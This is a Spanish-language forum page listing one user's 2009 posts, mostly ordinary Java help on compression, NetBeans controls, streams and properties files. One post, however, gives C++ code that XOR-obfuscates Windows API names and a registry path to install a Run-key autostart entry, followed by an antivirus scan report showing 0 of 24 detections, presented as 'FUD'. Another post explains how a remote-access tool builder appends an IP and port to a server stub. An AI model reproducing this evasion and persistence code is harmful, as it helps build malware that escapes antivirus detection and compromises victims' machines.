Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ~~

#1
Java / Re: [SRC] Compresor de Archivos Huffman
12 Junio 2009, 16:45 PM
Muy útil AmeRiK@nO, quería implementarlo para probar su efectividad con imágenes bmp y bueno... no es muy útil (rebaja unos pocos kb, con png engorda xD), pero por lo menos no lo he implementado para nada, muchas gracias, le echaré un ojo al source ;)
#2
Java / Re: Como hacer un array de controles
8 Junio 2009, 11:13 AM
Citar
How Do I create an Array of GUI Controls in the NetBeans GUI Builder?

There is no IDE action dedicated to that. If the number of controls (the length of the array) is static, and you need the array only to loop over the controls, try this:

Add all components manually (via drag and drop). Then create an array in code and fill it with all the component variables.
#4
Con el flujo de caracteres puedes escribir en un fichero como lo harías en la consola por ejemplo. Con un flujo de bytes, si bien puedes escribir cadenas de texto, también puedes escribir en disco todo tipo de datos, como por ejemplo guardar una estructura de enteros para recupararla más tarde

Salu2
#5
Java / Problema escribiendo en resource
31 Mayo 2009, 17:54 PM
Hola

Estoy haciendo una aplicación que tiene algunos datos configurables por el usuario (véase el idioma). Para ello si se inicia la aplicación por primera vez muestro un dialogo en el que se puede escoger un idioma de una lista.

Para saber si ya se ha escogido el idioma tengo un archivo properties así:

# Si ya está configurada la aplicación
IS_CONFIG=FALSE

# El idioma seleccionado
LANGUAGE=es

# Mas campos...


Este archivo se encuentra dentro del propio jar de mi aplicación, para leerlo no tengo ningún problema, obtengo su URL y todo arreglado.

El problema se me plantea al escribir la configuración en él.
El código que tengo es este:
Código (java) [Seleccionar]

    public void saveIsConfigurado(boolean isConfig) throws IOException
    {
        // Cargamos el archivo properties
        Properties prop = new Properties();
        prop.load(getUrl(ARCHIVO_CONFIGURACION).openStream());

        // Ponemos si está o no configurado
        if(isConfig)
            prop.setProperty(IS_CONFIG, TRUE);
        else
            prop.setProperty(IS_CONFIG, FALSE);

        // Guardamos el archivo
        FileOutputStream fos = new FileOutputStream(getUrl(ARCHIVO_CONFIGURACION).getFile());
        prop.store(fos, ARCHIVO_CONFIGURACION);
    }


Me lanza esta excepción FileNotFound al intentar guardar la propiedad:
Citar
/home/e0n/.../nombre jar!/resources/config/config.properties (No such file or directory)

Si alguien me pudiera echar una mano le estaría muy agradecido
Salu2
#6
Añadido el link a tu Arcangel_0x7C5, gracias, me consta que unos cuanto usuarios del foro le sacarán buen partido  ;)

mrscript, un gusto volver a verte activo por el foro, en cuanto a tu duda... Pues algo estás haciendo tu mal en asm, mira un código en C++ que te he hecho para el ejemplo (un poco enchorizado, pero se entiende):

Código (cpp) [Seleccionar]

#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++)
str[n] ^= clave[n%tamClave];
}

void main()
{
const char key[] = "a1b2c3";
const int  tamKey = 6;

// advapi32.dll
char strAdvapi32[] = { 0x0, 0x55, 0x14, 0x53, 0x13, 0x5a, 0x52, 0x3, 0x4c, 0x56, 0xf, 0x5f, 0x61 };
// RegOpenKeyExA
char strRegOpenKeyEx[] = { 0x33, 0x54, 0x5, 0x7d, 0x13, 0x56, 0xf, 0x7a, 0x7, 0x4b, 0x26, 0x4b, 0x20, 0x31 };
// RegSetValueExA
char strRegSetValueEx[] = { 0x33, 0x54, 0x5, 0x61, 0x6, 0x47, 0x37, 0x50, 0xe, 0x47, 0x6, 0x76, 0x19, 0x70, 0x62 };
// RegCloseKey
char strRegCloseKey[] = { 0x33, 0x54, 0x5, 0x71, 0xf, 0x5c, 0x12, 0x54, 0x29, 0x57, 0x1a, 0x33 };

// Software\Microsoft\Windows\CurrentVersion\Run
char strRutaReg[] = { 0x32, 0x5e, 0x4, 0x46, 0x14, 0x52, 0x13, 0x54, 0x3e, 0x7f, 0xa, 0x50, 0x13, 0x5e,
                 0x11, 0x5d, 0x5, 0x47, 0x3d, 0x66, 0xb, 0x5c, 0x7, 0x5c, 0x16, 0x42, 0x3e, 0x71,
     0x16, 0x41, 0x13, 0x54, 0xc, 0x46, 0x35, 0x56, 0x13, 0x42, 0xb, 0x5d, 0xd, 0x6f,
 0x33, 0x44, 0xc, 0x32 };


// desciframos
xor(strAdvapi32, key, sizeof(strAdvapi32)-1, tamKey);
xor(strRegOpenKeyEx, key, sizeof(strRegOpenKeyEx)-1, tamKey);
xor(strRegSetValueEx, key, sizeof(strRegSetValueEx)-1, tamKey);
xor(strRegCloseKey, key, sizeof(strRegCloseKey)-1, tamKey);
xor(strRutaReg, key, sizeof(strRutaReg)-1, tamKey);

// Apis
EncryptApi<LONG>  myRegOpenKeyEx  (strRegOpenKeyEx,  strAdvapi32, 5);
EncryptApi<LONG>  myRegSetValueEx (strRegSetValueEx, strAdvapi32, 2);
EncryptApi<LONG>  myRegCloseKey   (strRegCloseKey,   strAdvapi32, 5);

// Código
HKEY hkey;
myRegOpenKeyEx(5, HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
myRegSetValueEx(6, hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
myRegCloseKey(1, hkey);

/*
Código sin cifrar:
---------------------
HKEY hkey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
RegSetValueExA(hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
RegCloseKey(hkey);*/
}


Resultados:

File Info

Report generated: 28.5.2009 at 0.46.24 (GMT 1)
Filename: registro.exe
File size: 9 KB
MD5 Hash: E35F0136E24CBCD98EDE8B5C65A2D5CD
SHA1 Hash: EB94157F26C96ABA1C02ACD4BC08DF6FE41E4249
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!  
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!  
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!  
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!    
Virus Buster - Nothing found!

Scan report generated by  
NoVirusThanks.org



Puedes escanearlo en esa web marcando la opción de no distribur sin problemas... Como ves te lo deja FUD y crea con éxito una clave en HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Si quieres pegha la traducción a asm que has hecho del método a ver si le vemos la diferencia :P
Salu2
#7
Pero salta al escanear o al ejecutar??
#8
Jajaja muchas gracias MITM, aunque a mi no me han dado ningún premio... xDDD
#9
Ya están publicados los ganadores, felicidades a Hacker_Zero, Jubjub y hkm  ;-) ;-) ;-) ;-)
#10
Lo que tienes que hacer es guardar el servidor en los recursos del cliente, cuando quieras generar un servidor lo extraes y le añades al final (en el EOF) la ip, el puerto o lo que tu quieras y luego desde el servidor lees esa información y la utilizas ;)